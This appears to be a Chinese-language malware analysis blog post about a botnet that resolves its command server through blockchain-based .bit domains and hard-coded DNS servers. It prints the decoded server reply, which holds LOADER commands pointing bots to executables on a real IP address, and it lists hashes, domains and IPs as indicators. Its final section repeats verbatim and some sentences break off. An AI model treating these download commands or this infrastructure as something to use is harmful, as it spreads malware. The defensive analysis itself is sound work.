前言
近日, 深信服安全雲腦病毒流量分析團隊捕獲了一批病毒樣本, 這些樣本結合了區塊鏈, 通過特定的DNS伺服器對C&C伺服器位址進行解析, 解析出C&C位址後再與其進行通信, 這些樣本是僵屍網路樣本, 可是由於C&C伺服器的功能變數名稱是.bit功能變數名稱, 所以該僵屍網路無法被關閉, 危害巨大。
近年來, 區塊鏈、比特幣、比特幣功能變數名稱越來越火, 根據統計, 對相關詞語的關注程度從2015年起越來越多:
(該圖片來源於
https://www.fireeye.com/blog/threat-research/2018/04/cryptocurrencies-cyber-crime-blockchain-infrastructure-use.html)
由於其通信方式的獨特性和危害性, 現對其進行介紹和分析。
什麼是區塊鏈
簡單來說,
DNS如何結合區塊鏈
網域名稱系統(DNS)是從上世紀80年代開始的技術, 它的核心功能是將功能變數名稱和URL解析成IP, 這樣可以讓IP位址便於閱讀和記憶。
基於區塊鏈的功能變數名稱伺服器的使用可以抵制地方當局的監管。 此外, 可以避免的“緩存中毒”(cache poisoning)或DNS欺騙(DNS spoofing)。
本文所涉及的病毒正是用區塊鏈功能變數名稱伺服器進行解析然後通信的。 功能變數名稱以.bit結尾, 基於Namecoin。 Namecoin是一種基於區塊鏈的加密貨幣, 通過.bit功能變數名稱註冊和管理。 功能變數名稱註冊和個人資訊無關。 由於Namecoin是分散式的, 沒有中央機構管理,
病毒原理
程式進行了多層加密, 如下圖所示, 原程式在棧中釋放出解密程式, 然後跳入棧中執行解密程式, 解密程式在堆中釋放並解密出PE檔, 然後進入該PE檔中執行, 該PE檔會更改原程式的PE頭和.text段, 然後運行新程式, 新程式會將最終的包含惡意程式碼的檔解密、創建、寫入到%AppData%目錄下, 然後新建進程運行, 運行後再將程式刪除。
該程式是通過.bit功能變數名稱訪問C&C伺服器的, 而訪問.bit功能變數名稱的常用方法有:
1、Web代理
2、流覽器外掛程式
3、公開的DNS
而這些方式都需要協力廠商的DNS伺服器, 而該樣本則是將DNS伺服器位址寫到了程式中, 通過訪問這些DNS伺服器, 解析目標功能變數名稱得到目標IP, 從而進行通信。
技術分析
先用IDA打開發現大多數代碼被加密了, 所以程式只能進行動態分析。
程式會首先進行解密, 將解密後的程式放入棧中, 然後跳到棧中執行關鍵代碼。 首先會用VirtualAlloc分配0x165B2個位元組的可讀可寫可執行的空間。
寫入所有資料都是加密的, 然後解密, 發現這段代碼是可執行程式:
跳入剛才分配的位址空間, 發現這一段也用VirtualAlloc在開闢記憶體:
開闢後的記憶體會先被寫入加密的資料:
然後進行解密, 解密完成後發現是一個PE檔:
再次分配一段78E大小的空間,
Process Monitor檢測到在Roaming資料夾下生成了檔jevgr.exe, 然後啟動進程jevgr.exe。 這個進程還會再次啟動自己, 啟動後將自己刪除:
用OD附加然後dump記憶體, 可以得到該檔。
在該檔中可以看到如下的DNS伺服器:
程式會進行一個迴圈, 不斷用DnsQuery_A查詢n31.smokemenowhhalala.bit的位址, 只要查到就跳出迴圈:
功能變數名稱解析成功後, 會以HTTP的方式進行CC通信, 通信URL一直保持不變。
在連接上C&C伺服器後, 程式再構造http包, 與C&C進行通信。
程式先用GetSystemInfo獲取系統資訊:
再根據得到的系統資訊確定作業系統版本:
程式會構造POST請求:
具體的通信內容如下:
1、通信的內容簡單地用了base64編碼, 解碼後內容是
cmd&0c98390a-7519-42f6-a7ad-64659cee1efa&SINCODER-PC&Windows%207%20(64-bit)&0&N%2FA&5.2&16.08.2017&NONE
很明顯, 將本地的資訊發送給CC伺服器。 其中sincoder-pc正是我們跑沙箱的虛擬機器機器名。
2、CC伺服器返回的內容經過解碼後如下:
1507575502911182#rate5#1508136301903120#LOADER http://89.38.98.100/sReeeesa.exe#1508136310273686#LOADER http://89.38.98.100/156aReeeesa.exe#1508136318262130#LOADER http://89.38.98.100/156bReeeesa.exe#1508136326311141#LOADER http://89.38.98.100/85bReeeesa.exe#1508136336877925#LOADER http://89.38.98.100/85Reeeesa.exe#1508136344583173#LOADER http://89.38.98.100/17Reeeesa.exe#1508136353980521#LOADER http://89.38.98.100/74Reeeesa.exe#1508136363904142#LOADER http://89.38.98.100/121Reeeesa.exe#1508136376977099#LOADER http://89.38.98.100/123Reeeesa.exe#1508136394931264#LOADER http://89.38.98.100/226Reeeesa.exe#1508136408598178#LOADER http://89.38.98.100/38Reeeesa.exe#1508136429853275#LOADER http://89.38.98.100/161Reeeesa.exe#
目的是下載更多的惡意軟體。
程式接收到網址後會構造GET請求下載檔案:
這些下載動作也會回饋給CC伺服器,如下圖所示,其中POST的內容解碼後為:
程式還有其他一些操作,包括螢幕截圖:
讀取進程資訊:
可是,由於C&C並未給出這些指令,所以並沒有執行這些操作。
IOCs
efc03f2d6601a5da3da98d8bac31fabf
78fdac089c50ae602d6076d2aa2d6907
efc03f2d6601a5da3da98d8bac31fabf
652885e33b86140e7fc50f11b48f3275
nutsystem1.bit
n31.smokemenowhhalala.bit
89.38.98.100
118.193.174.133
1507575502911182#rate5#1508136301903120#LOADER http://89.38.98.100/sReeeesa.exe#1508136310273686#LOADER http://89.38.98.100/156aReeeesa.exe#1508136318262130#LOADER http://89.38.98.100/156bReeeesa.exe#1508136326311141#LOADER http://89.38.98.100/85bReeeesa.exe#1508136336877925#LOADER http://89.38.98.100/85Reeeesa.exe#1508136344583173#LOADER http://89.38.98.100/17Reeeesa.exe#1508136353980521#LOADER http://89.38.98.100/74Reeeesa.exe#1508136363904142#LOADER http://89.38.98.100/121Reeeesa.exe#1508136376977099#LOADER http://89.38.98.100/123Reeeesa.exe#1508136394931264#LOADER http://89.38.98.100/226Reeeesa.exe#1508136408598178#LOADER http://89.38.98.100/38Reeeesa.exe#1508136429853275#LOADER http://89.38.98.100/161Reeeesa.exe#
目的是下載更多的惡意軟體。
程式接收到網址後會構造GET請求下載檔案:
這些下載動作也會回饋給CC伺服器,如下圖所示,其中POST的內容解碼後為:
程式還有其他一些操作,包括螢幕截圖:
讀取進程資訊:
可是,由於C&C並未給出這些指令,所以並沒有執行這些操作。
IOCs
efc03f2d6601a5da3da98d8bac31fabf
78fdac089c50ae602d6076d2aa2d6907
efc03f2d6601a5da3da98d8bac31fabf
652885e33b86140e7fc50f11b48f3275
nutsystem1.bit
n31.smokemenowhhalala.bit
89.38.98.100
118.193.174.133